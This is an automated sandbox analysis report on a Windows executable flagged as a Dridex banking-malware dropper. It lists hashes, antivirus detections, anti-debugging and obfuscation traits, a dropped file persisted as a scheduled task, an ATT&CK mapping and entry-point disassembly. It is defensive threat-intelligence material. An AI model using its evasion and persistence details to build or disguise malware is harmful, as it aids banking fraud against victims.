Edit tour

Windows Analysis Report
SecuriteInfo.com.Variant.Jaik.84784.3654.20731

Overview

General Information

Sample Name:	SecuriteInfo.com.Variant.Jaik.84784.3654.20731 (renamed file extension from 20731 to exe)
Analysis ID:	662065
MD5:	74cd3c3d32dcf5029d1bc66347f44af7
SHA1:	d7ec9719a6e5ea0b386ef590b1b74c317e597ff8
SHA256:	cb943da125fde19e41c965a9f260caf79a6fca98c89b83bde609b843be0da377
Tags:	exe
Infos:

Detection

Dridex Dropper

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for dropped file

Dridex dropper found

Machine Learning detection for sample

Uses 32bit PE files

PE file contains strange resources

Drops PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

Checks if the current process is being debugged

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

PE / OLE file has an invalid certificate

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Abnormal high CPU Usage

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Variant.Jaik.84784.3654.exe (PID: 6288 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe" MD5: 74CD3C3D32DCF5029D1BC66347F44AF7)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Virustotal: Detection: 58%			Perma Link
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	ReversingLabs: Detection: 69%

Antivirus detection for dropped file

Source: C:\Users\user\AppVerif\DllHelper.exe

Avira: detection malicious, Label: TR/Dropper.Gen7

Machine Learning detection for sample

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\pik vevaye\Wapawini\gal\Yim.pdb source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.

E-Banking Fraud

Dridex dropper found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B886DE InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__cftoe,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_strlen,WriteFile,OutputDebugStringA,__itow_s,__invoke_watson_if_error,		0_2_00B886DE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B88F12 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,		0_2_00B88F12

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DllHelper.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DllHelper.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DllHelper.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B8BAF0	0_2_00B8BAF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B82460	0_2_00B82460
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B8AD10	0_2_00B8AD10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: String function: 00B81290 appears 31 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: String function: 00B809F0 appears 106 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: String function: 00B7D760 appears 144 times

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: invalid certificate

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Process Stats: CPU usage > 98%

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DllHelper.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Virustotal: Detection: 58%
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	ReversingLabs: Detection: 69%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Jump to behavior

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Code function: 0_2_00B78A10 __wcstoui64,__wdupenv_s,SetThreadPriority,FindVolumeClose,GetCommConfig,LoadLibraryW,GetThreadPriority,GetCommandLineW,SetLastError,GenerateConsoleCtrlEvent,MoveFileWithProgressA,GetProcessHeaps,GetLastError,GetModuleHandleW,GetLastError,InitializeSListHead,DebugSetProcessKillOnExit,EnumSystemGeoID,GetProcessHeap,HeapFree,GetProcAddress,VirtualProtect,LoadResource,GetACP,FreeResource,__atodbl_l,SetConsoleCtrlHandler,SetConsoleCursorPosition,GetCalendarInfoW,VirtualProtect,

0_2_00B78A10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

File created: C:\Users\user\AppVerif

Jump to behavior

Source: classification engine

Classification label: mal68.bank.winEXE@1/2@0/0

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static file information: File size 1870760 > 1048576

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x19f800

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\pik vevaye\Wapawini\gal\Yim.pdb source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe, DllHelper.exe.0.dr

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B98235 push edi; retf	0_2_00B98236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00D0F460 push ebp; iretd	0_2_00D0F461
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B7962F pushfd ; ret	0_2_00B79630

Source: SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Static PE information: section name: .tenio
Source: DllHelper.exe.0.dr	Static PE information: section name: .tenio

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Code function: 0_2_00B901F0 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_00B901F0

Source: initial sample	Static PE information: section name: .text entropy: 7.816031131002002
Source: initial sample	Static PE information: section name: .text entropy: 7.816031131002002

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

File created: C:\Users\user\AppVerif\DllHelper.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_0-17493
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-17652

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Dropped PE file which has not been started: C:\Users\user\AppVerif\DllHelper.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

API coverage: 9.0 %

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	API call chain: ExitProcess graph end node			graph_0-18062
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	API call chain: ExitProcess graph end node			graph_0-17495

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Code function: 0_2_00B80A60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00B80A60

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Code function: 0_2_00B88F12 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_00B88F12

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

0_2_00B901F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

0_2_00B78A10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B7D060 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B7D060
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B80A60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B80A60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B805D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B805D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe	Code function: 0_2_00B85760 SetUnhandledExceptionFilter,	0_2_00B85760

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Code function: GetLocaleInfoA,

0_2_00B94180

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe

Code function: 0_2_00B85780 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00B85780

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	LSASS Memory	4 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Jaik.84784.3654.exe	59%	Virustotal		Browse
SecuriteInfo.com.Variant.Jaik.84784.3654.exe	69%	ReversingLabs	Win32.Trojan.Jaik
SecuriteInfo.com.Variant.Jaik.84784.3654.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppVerif\DllHelper.exe	100%	Avira	TR/Dropper.Gen7

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	662065
Start date and time: 12/07/202217:42:07	2022-07-12 17:42:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Variant.Jaik.84784.3654.20731 (renamed file extension from 20731 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.bank.winEXE@1/2@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 3.4% (good quality ratio 3.3%) Quality average: 70.7% Quality standard deviation: 18.5%
HCA Information:	Successful, ratio: 96% Number of executed functions: 15 Number of non-executed functions: 36
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
17:45:30	Task Scheduler	Run new task: COMSurrogate path: C:\Users\user\AppVerif\DllHelper.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppVerif\DllHelper.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	480444416
Entropy (8bit):	0.06514875317096143
Encrypted:	false
SSDEEP:
MD5:	BD864AE710BD408189F12305EEDC2008
SHA1:	D6EB0CE0A3F94D8A288B0A6B50DC02DF2EE22B35
SHA-256:	CE16864816826C0D87BEC3473B15F215D7F572D8DDD52600E4C82D834F535D10
SHA-512:	049FE137771902D76BE572A069A607B1B0BD25C638DED9752B6E572758E9093ABB258F95368E1310C05175BCD4139F7901202241FBDA068074CDFB9895439A82
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,...h..h..h..v...y..v...T..v......O..k..h.....v...j..v...i..h...i..v...i..Richh..........................PE..L...,.(]..........................................@......................................@.................................l...(....`...............x..................................................@............................................text...`........................... ..`.data...h1..........................@....tenio.......P......................@....rsrc........`......................@..@.reloc..rG.......H...0..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppVerif\DllHelper.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Variant.Jaik.84784.3654.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.789455480828862
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Jaik.84784.3654.exe
File size:	1870760
MD5:	74cd3c3d32dcf5029d1bc66347f44af7
SHA1:	d7ec9719a6e5ea0b386ef590b1b74c317e597ff8
SHA256:	cb943da125fde19e41c965a9f260caf79a6fca98c89b83bde609b843be0da377
SHA512:	6b1340641f1f7820755ccc9e78b083ab32444d560274103e21a3ccaf4dee93b62340a6445960dc5a8f09a0de87c138e182a2c1012fdaf4f4d6d39e88922451fe
SSDEEP:	49152:yCu54sLM0OEl6bINMreuk8i09pEkJz5lAcs5PVS7fhl:yCu5OGpQefZ0vfTsfSj
TLSH:	9D851208EA509426F4F7863451F98AADA63C94D71F4845C387E4A3FA866C3D0FE3257B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,...h...h...h...v...y...v...T...v.......O...k...h.......v...j...v...i...h...i...v...i...Richh...........................PE..L..

File Icon


Icon Hash:	e0ccbcccc2f2e4cc

Static PE Info

General

Entrypoint:	0x40cdb0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5D280B2C [Fri Jul 12 04:23:08 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	7f1ef45f5deb563bbecd8473c31a66d3

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=R3, O=Let's Encrypt, C=US
Signature Validation Error:	A certificate chain could not be built to a trusted root authority
Error Number:	-2146762486
Not Before, Not After	5/23/2022 2:32:40 AM 8/21/2022 2:32:39 AM
Subject Chain	CN=www.artweaver.de
Version:	3
Thumbprint MD5:	BC879E2879685CBEB888E5D32DD8189D
Thumbprint SHA-1:	01B29404E8E3D0019404677B8E9699DF9750B294
Thumbprint SHA-256:	0FA3497022A3B9B10A0B786533C315048B785CDFE262198828BDCAB722017FC9
Serial:	03BB38E009072B417BF8459D28B7B3D18D33

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F3584C45E4Bh
call 00007F3584C3D496h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0059F440h
push 004112B0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [005A1338h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004010C4h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F3584C3D4A8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F3584C3D5D7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F3584C3D614h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F3584C4738Ah
add esp, 04h
test eax, eax
jne 00007F3584C3D48Ch
push 0000001Ch
call 00007F3584C3D5CCh
add esp, 04h
call 00007F3584C450D4h
test eax, eax
jne 00007F3584C3D48Ch
push 00000010h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19fc6c	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a6000	0x21cc8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1c7800	0x13a8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c8000	0x19c0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1200	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x82a8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1bc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19f660	0x19f800	False	0.8492162821525271	data	7.816031131002002	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x1a1000	0x3168	0x1400	False	0.3314453125	data	3.4095039121071826	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tenio	0x1a5000	0x4	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1a6000	0x21cc8	0x21e00	False	0.8149792435424354	data	7.4602970996808775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
